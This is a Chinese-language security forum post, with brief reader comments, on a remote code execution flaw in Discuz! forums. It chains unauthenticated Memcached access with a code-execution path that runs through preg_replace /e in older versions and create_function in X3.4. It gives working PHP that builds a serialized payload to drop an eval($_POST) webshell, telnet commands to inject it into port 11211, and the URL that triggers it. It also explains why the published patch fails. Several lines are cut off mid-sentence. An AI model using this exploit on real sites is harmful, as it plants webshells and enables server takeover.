登录

Discuz!因Memcached未授权访问导致的RCE

尼古拉斯三楞 / 2018-02-05 09:17:00 / 浏览数 6130 技术文章 技术文章 顶(4) 踩(0)

一、前言

这个漏洞大家一定不陌生，在16年的时候关于discuz! + ssrf +memcached的RCE漏洞让大家都很惊艳，一年过去了这个漏洞的修复情况又是怎样的呢？

二、漏洞简述

这个漏洞大致利用过程是这样的：利用discuz!的ssrf漏洞，利用gopher协议写入payload到memcached，然后请求特定链接导致代码执行漏洞。

可以看出漏洞利用两个关键点：

1.ssrf漏洞

2.代码执行漏洞

利用ssrf漏洞是要向memcached中写入payload，我们抽象的看ssrf只是写入payload的一种方式。如果memcached的11211端口绑定到了外网并且可以未授权访问，ssrf

因此，现在我的关注点是代码执行漏洞。如果代码执行漏洞没有修复，我就可以利用memcached未授权漏洞写入payload，使用代码执行漏洞获取webshell。

三、discuz！代码执行漏洞分析

漏洞利用有两个版本，一个是老版本，一个是新版本，discuz！虽然已经是x3.4，代码也发生了变化，漏洞确是任然没有修复。

漏洞利用代码流程逻辑：

访问：

```
forum.php?mod=ajax&inajax=yes&action=getthreadtypes

./source/module/forum/forum_ajax.php

./template/default/common/footer_ajax.htm

./source/function/function_core.php

./source/function/function_core.php
```

最后利用preg_replace函数/e参数的代码执行特性完成了漏洞利用的全部过程。

以上是老版本代码，在网上已经有一些分析了，在这里简述一些，重点是payload的完整性使用。网上文章大部分在payload部分都只是验证性演示。作为一名红队渗透测试

四、漏洞利用流程

1 老版本漏洞利用流程：

生成payload

```
<?php
$payload['output']['preg']['search']['plugins']= "/.*/e";
$payload['output']['preg']['replace']['plugins']= "file_put_contents('./data/cache/ln.php','<?phpeval(\$_POST[x]);?>');";
$payload['rewritestatus']['plugins']= 1;
echoserialize($payload);

a:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";a:1:{s:7:"plugins";s:5:"/.*/e";}s:7:"replace";a:1:{s:7:"plugins";s:68:"fil
```

 然后telnet链接memcached

```
telnet 1.1.1.1 11211

set xxxxxx_setting 1 0 yyy    //xxxx■■■■discuz■■■■■■■■stats cachedump ■■■■■yyy■payload■■■
```

最后访问forum.php?mod=ajax&inajax=yes&action=getthreadtypes，shell生成/data/cache/ln.php。

2 网上给的修复代码是这样的

```
if (preg_match("(/|#|\+|%).*(/|#|\+|%)e", $_G['setting']['output']['preg']['search']) !== FALSE) { die("request error"); }
```

□
这个修复完全没有作用，无效修复，preg_match的正则根本匹配不到/.*/e。注意看，正则代码没有给分隔符，而(成了分隔符，让正则失去了本来的作用，如果加上分隔符

五、最新版本Discuz x3.4漏洞依旧存在

1 代码变化，漏洞依旧

□漏洞点代码已经被更新，但是漏洞并没有被修复，这种代码更新应该是为了适应php版本更新，因为php5.5以后preg_replace的/e参数被废弃，官方建议使用preg_re

```
foreach($_G['setting']['output']['preg']['search']as $key => $value) {
$content= preg_replace_callback($value, create_function('$matches','return'.$_G['setting']['output']['preg']['replace'][$key].
}
```

漏洞函数变成了create_function,这个函数大家都知道也是危险函数，可以造成代码执行漏洞。

2 新版本漏洞利用流程

生成payload有点变化(ps:只是少了一个e)

```
<?php
$payload['output']['preg']['search']['plugins']= "/.*/";
$payload['output']['preg']['replace']['plugins']= "file_put_contents('./data/cache/ln.php','<?phpeval(\$_POST[x]);?>');";
$payload['rewritestatus']['plugins']= 1;
echoserialize($payload);
```

```
a:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";a:1:{s:7:"plugins";s:4:"/.*/";}s:7:"replace";a:1:{s:7:"plugins";s:68:"file
```

访问:

```
forum.php?mod=ajax&inajax=yes&action=getthreadtypes
```

最后一定要恢复缓存

Delete Vtfbsm_setting

成功写入文件

四、总结

□
直到最新版本discuz也没有修复这个漏洞，当初的ssrf结合memcached的漏洞，discuz只看到了ssrf漏洞，并没有留意到这个代码执行的漏洞。通过漏洞的抽象思维，我们知

上一篇：深度学习PHP webshell查... 下一篇：Apache ActiveMQ A...

1. 3 条回复


xwbk12 2018-02-05 11:56:24

学习学习！！

0 回复Ta


三顿 2018-02-05 14:57:13

精彩精彩啊

0 回复Ta


niexinming 2018-03-05 20:05:46

厉害了

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板